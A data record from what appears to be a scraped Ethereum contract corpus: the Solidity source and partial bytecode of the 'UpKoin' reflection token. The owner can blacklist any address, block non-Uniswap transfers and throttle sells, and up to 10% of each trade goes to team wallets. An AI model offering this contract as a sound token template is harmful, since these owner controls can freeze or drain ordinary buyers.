7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea264697066735822122018b8d9fc53137ae79a206f49c85a51620b13f79c2e69546d94f31c8ba421426e64736f6c63430007030033
{"success": true, "error": null, "results": {}}
5,898
0xe44494f70d8169a8ce62ae65c01656385381b597
// UpKoin ($UpKoin) // Telegram: https://t.me/upkointoken // Website: https://upkoin.space/ // Twitter: https://twitter.com/koin_up // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract UpKoin is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "UpKoin"; string private constant _symbol = "UpKoin"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 5; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _cooldownSeconds = 30; uint256 private _launchTime; uint256 private _lastSellTime; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool isEnabled) external onlyOwner() { cooldownEnabled = isEnabled; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { if (block.timestamp < _launchTime + 5 minutes) { require(cooldown[to] < block.timestamp); require(amount <= _maxTxAmount); cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(block.timestamp >= _lastSellTime + 2 minutes, "ERR: Try 2 minutes later"); _lastSellTime = block.timestamp; if (contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function addLiquidityETH() external onlyOwner() { require(!tradingOpen, "Liquidity already added"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _taxFee = 2; _teamFee = 10; _maxTxAmount = 5000000000 * 10**9; tradingOpen = true; _launchTime = block.timestamp; _lastSellTime = block.timestamp; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function manualSwap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() { require(cooldownSecs > 0, "Secs must be greater than 0"); _cooldownSeconds = cooldownSecs; } }
0x6080604052600436106101175760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610383578063d543dbeb146103c0578063dd62ed3e146103e9578063ed99530714610426578063f42938901461043d5761011e565b806370a08231146102b0578063715018a6146102ed5780637b5b1157146103045780638da5cb5b1461032d57806395d89b41146103585761011e565b806323b872dd116100e757806323b872dd146101df578063313ce5671461021c57806351bc3c85146102475780635932ead11461025e5780636b999053146102875761011e565b8062b8cf2a1461012357806306fdde031461014c578063095ea7b31461017757806318160ddd146101b45761011e565b3661011e57005b600080fd5b34801561012f57600080fd5b5061014a60048036038101906101459190612bf7565b610454565b005b34801561015857600080fd5b506101616105a4565b60405161016e91906130de565b60405180910390f35b34801561018357600080fd5b5061019e60048036038101906101999190612bbb565b6105e1565b6040516101ab91906130c3565b60405180910390f35b3480156101c057600080fd5b506101c96105ff565b6040516101d691906132c0565b60405180910390f35b3480156101eb57600080fd5b5061020660048036038101906102019190612b6c565b610610565b60405161021391906130c3565b60405180910390f35b34801561022857600080fd5b506102316106e9565b60405161023e9190613335565b60405180910390f35b34801561025357600080fd5b5061025c6106f2565b005b34801561026a57600080fd5b5061028560048036038101906102809190612c38565b61076c565b005b34801561029357600080fd5b506102ae60048036038101906102a99190612ade565b61081e565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190612ade565b61090e565b6040516102e491906132c0565b60405180910390f35b3480156102f957600080fd5b5061030261095f565b005b34801561031057600080fd5b5061032b60048036038101906103269190612c8a565b610ab2565b005b34801561033957600080fd5b50610342610b94565b60405161034f9190612ff5565b60405180910390f35b34801561036457600080fd5b5061036d610bbd565b60405161037a91906130de565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190612bbb565b610bfa565b6040516103b791906130c3565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e29190612c8a565b610c18565b005b3480156103f557600080fd5b50610410600480360381019061040b9190612b30565b610d61565b60405161041d91906132c0565b60405180910390f35b34801561043257600080fd5b5061043b610de8565b005b34801561044957600080fd5b50610452611362565b005b61045c6113d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e090613200565b60405180910390fd5b60005b81518110156105a0576001600a6000848481518110610534577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610598906135d6565b9150506104ec565b5050565b60606040518060400160405280600681526020017f55704b6f696e0000000000000000000000000000000000000000000000000000815250905090565b60006105f56105ee6113d4565b84846113dc565b6001905092915050565b6000683635c9adc5dea00000905090565b600061061d8484846115a7565b6106de846106296113d4565b6106d985604051806060016040528060288152602001613a4b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068f6113d4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ded9092919063ffffffff16565b6113dc565b600190509392505050565b60006009905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107336113d4565b73ffffffffffffffffffffffffffffffffffffffff161461075357600080fd5b600061075e3061090e565b905061076981611e51565b50565b6107746113d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610801576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f890613200565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b6108266113d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108aa90613200565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610958600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214b565b9050919050565b6109676113d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109eb90613200565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610aba6113d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e90613200565b60405180910390fd5b60008111610b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8190613180565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f55704b6f696e0000000000000000000000000000000000000000000000000000815250905090565b6000610c0e610c076113d4565b84846115a7565b6001905092915050565b610c206113d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca490613200565b60405180910390fd5b60008111610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce7906131a0565b60405180910390fd5b610d1f6064610d1183683635c9adc5dea000006121b990919063ffffffff16565b61223490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610d5691906132c0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610df06113d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7490613200565b60405180910390fd5b600f60149054906101000a900460ff1615610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec4906131c0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f5d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113dc565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa357600080fd5b505afa158015610fb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fdb9190612b07565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561103d57600080fd5b505afa158015611051573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110759190612b07565b6040518363ffffffff1660e01b8152600401611092929190613010565b602060405180830381600087803b1580156110ac57600080fd5b505af11580156110c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e49190612b07565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061116d3061090e565b600080611178610b94565b426040518863ffffffff1660e01b815260040161119a96959493929190613062565b6060604051808303818588803b1580156111b357600080fd5b505af11580156111c7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111ec9190612cb3565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506002600881905550600a600981905550674563918244f400006010819055506001600f60146101000a81548160ff0219169083151502179055504260128190555042601381905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161130c929190613039565b602060405180830381600087803b15801561132657600080fd5b505af115801561133a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135e9190612c61565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113a36113d4565b73ffffffffffffffffffffffffffffffffffffffff16146113c357600080fd5b60004790506113d18161227e565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561144c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144390613260565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b390613140565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161159a91906132c0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160e90613240565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e90613100565b60405180910390fd5b600081116116ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c190613220565b60405180910390fd5b6116d2610b94565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117405750611710610b94565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d2a57600f60179054906101000a900460ff1615611973573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561181c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118765750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197257600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118bc6113d4565b73ffffffffffffffffffffffffffffffffffffffff1614806119325750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661191a6113d4565b73ffffffffffffffffffffffffffffffffffffffff16145b611971576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196890613280565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a175750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a2057600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611acb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b215750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b395750600f60179054906101000a900460ff165b15611c0e5761012c601254611b4e91906133f6565b421015611c0d5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611ba057600080fd5b601054811115611baf57600080fd5b6001601154611bbe919061347d565b42611bc991906133f6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000611c193061090e565b9050600f60159054906101000a900460ff16158015611c865750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c9e5750600f60169054906101000a900460ff165b15611d28576078601354611cb291906133f6565b421015611cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ceb906132a0565b60405180910390fd5b426013819055506000811115611d0e57611d0d81611e51565b5b60004790506000811115611d2657611d254761227e565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611dd15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ddb57600090505b611de784848484612379565b50505050565b6000838311158290611e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2c91906130de565b60405180910390fd5b5060008385611e4491906134d7565b9050809150509392505050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611eaf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611edd5781602001602082028036833780820191505090505b5090503081600081518110611f1b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fbd57600080fd5b505afa158015611fd1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ff59190612b07565b8160018151811061202f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061209630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113dc565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120fa9594939291906132db565b600060405180830381600087803b15801561211457600080fd5b505af1158015612128573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000600654821115612192576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218990613120565b60405180910390fd5b600061219c6123a6565b90506121b1818461223490919063ffffffff16565b915050919050565b6000808314156121cc576000905061222e565b600082846121da919061347d565b90508284826121e9919061344c565b14612229576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612220906131e0565b60405180910390fd5b809150505b92915050565b600061227683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123d1565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122ce60028461223490919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122f9573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61234a60028461223490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612375573d6000803e3d6000fd5b5050565b8061238757612386612434565b5b612392848484612465565b806123a05761239f612630565b5b50505050565b60008060006123b3612642565b915091506123ca818361223490919063ffffffff16565b9250505090565b60008083118290612418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240f91906130de565b60405180910390fd5b5060008385612427919061344c565b9050809150509392505050565b600060085414801561244857506000600954145b1561245257612463565b600060088190555060006009819055505b565b600080600080600080612477876126a4565b9550955095509550955095506124d586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125b6816127b4565b6125c08483612871565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161261d91906132c0565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612678683635c9adc5dea0000060065461223490919063ffffffff16565b82101561269757600654683635c9adc5dea000009350935050506126a0565b81819350935050505b9091565b60008060008060008060008060006126c18a6008546009546128ab565b92509250925060006126d16123a6565b905060008060006126e48e878787612941565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061274e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ded565b905092915050565b600080828461276591906133f6565b9050838110156127